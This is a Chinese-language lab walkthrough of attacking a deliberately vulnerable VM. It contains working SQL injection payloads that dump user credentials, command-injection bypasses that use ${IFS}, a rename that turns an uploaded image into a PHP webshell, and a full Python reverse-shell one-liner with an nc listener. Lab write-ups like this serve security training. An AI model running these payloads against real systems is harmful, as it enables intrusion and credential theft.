下载环境地址
环境搭建
下载后 点开文件 就好了
点击你的靶场虚拟机-》右键-》设置-》网络适配器-》网络连接
(查看当前虚拟机的网络模式,这里是NAT模式)
再次打开高级 看好 mac地址 好去kali里面找ip
看vim编辑已知网段是49段得
开启nmap扫
(kali网络模式切换为NAT模式,确保都在同一网段,两台机器之间可以通信)
nmap 192.168.49.0/24
已知主机 扫描端口
nmap 192.168.49.129 -p-
访问页面
注册登录,看看
有个搜素框看看有没有sql注入
a%'/**/and/**/length(database())>1#
a%'/**/union/**/select/**/1,2,3#
x%'/**/union/**/select/**/user(),database(),version()#
x%'/**/union/**/select/**/TABLE_NAME,2,3/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database()#
x%'/**/union/**/select/**/column_name,2,3/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA=database()/**/and/**/TABLE_NAME='users'#
x%'/**/union/**/select/**/user,pasword,3/**/from/**/users#
找到管理员
解密之后。用户名:superadmin 密码:Uncrackable
登上管理员账号密码看看
这个图可以看出这个文件上传设置白名单
测试下面的功能点
发现输入参数可被执行
可能存在命令注入
验证命令注入
但是在进一步的验证中发现命令执行却不起作用,所以在这里猜测可能是由于过滤空格导致的
system('cat${IFS}/etc/passwd') system('cat$IFS$9/etc/passwd')
文件上传失败
换个方式 命令执行+文件上传
我们现在可以进行命令执行(执行命令反弹shell失败,可能是不存在这种反弹shell方法,或者是我执行有误,并没有执行成功),也知道了文件上传后的路径,我们可以利用命令执行漏洞修改上传到服务器的文件名,然后进行反弹shell
system('mv${IFS}/var/www/html/uploads/year2020/phpinfo.jpg${IFS}/var/www/html/uploads/year2020/phpinfo.php')
http://192.168.49.129/uploads/year2020/phpinfo.php
反弹shell
system('mv${IFS}/var/www/html/uploads/year2020/sysexec3.jpg${IFS}/var/www/html/uploads/year2020/sysexec3.php')
这里给大家推荐一个在线生成反弹shell命令的网站
https://weibell.github.io/reverse-shell-generator
借用hackbar访问url,反弹shell
export RHOST="192.168.3.129"; export RPORT=8000;python -c 'import sys,socket,os,pty; s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
http://192.168.3.128/uploads/year2020/fantanML.php
?cmd=export RHOST="192.168.3.129";
export RPORT=8000;python -c 'import sys,socket,os,pty;
s=socket.socket();
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("/bin/sh")'
nc -lvnp 8000